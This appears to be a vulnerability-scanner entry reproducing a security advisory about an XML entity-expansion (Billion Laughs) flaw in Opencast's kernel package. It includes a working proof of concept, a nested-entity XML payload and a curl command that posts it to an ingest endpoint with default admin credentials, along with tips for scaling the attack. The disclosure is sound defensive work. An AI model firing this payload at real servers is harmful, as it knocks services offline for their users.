QID 980389
QID 980389: Java (maven) Security Update for org.opencastproject:opencast-kernel (GHSA-9gwx-9cwp-5c2m)
Security update has been released for org.opencastproject:opencast-kernel to fix the vulnerability.
Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.
Opencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.
Consider an XML file (`createMediaPackage.xml`) like this:
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
<!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
<!ELEMENT title (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
<title>&lol5;</title>
<media/>
<metadata/>
<attachments/>
<publications/>
</mediapackage>
```
Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100000 times, instantly consuming a huge amount of memory:
```sh
curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
-F 'mediapackage=<createMediaPackage.xml' \
-F sourceFlavors="" \
-F sourceTags="" \
-F deleteExternal="" \
-F tagsAndFlavor=' \
-o out.xml
```
Additional notes:
- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
- Opencast's XML parser does limit the expansion to 100000 times, already limiting the attack. Nevertheless, this can already harm the system.
- To exploit this, users need to have ingest privileges, limiting the group of potential attackers
There is no known workaround for this issue.
- GHSA-9gwx-9cwp-5c2m -
github.com/advisories/GHSA-9gwx-9cwp-5c2m
CVEs related to QID 980389
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-9gwx-9cwp-5c2m | org.opencastproject:opencast-kernel |
|